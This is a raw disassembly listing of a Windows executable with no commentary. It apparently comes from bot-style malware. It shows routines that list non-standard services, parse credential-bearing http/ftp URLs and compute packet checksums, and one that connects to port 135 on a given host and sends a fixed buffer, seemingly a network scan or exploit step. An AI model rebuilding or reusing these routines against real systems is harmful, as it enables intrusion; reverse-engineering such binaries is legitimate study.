		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 2850BF4h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2930926h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44530C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4452F4
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 2910000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 28A1CCEh
		push	eax
		nop
		call	near ptr 28A1273h
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E0 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453E0 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453E0 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E0 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E0 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DA8
		push	esi
		call	ebp	; send
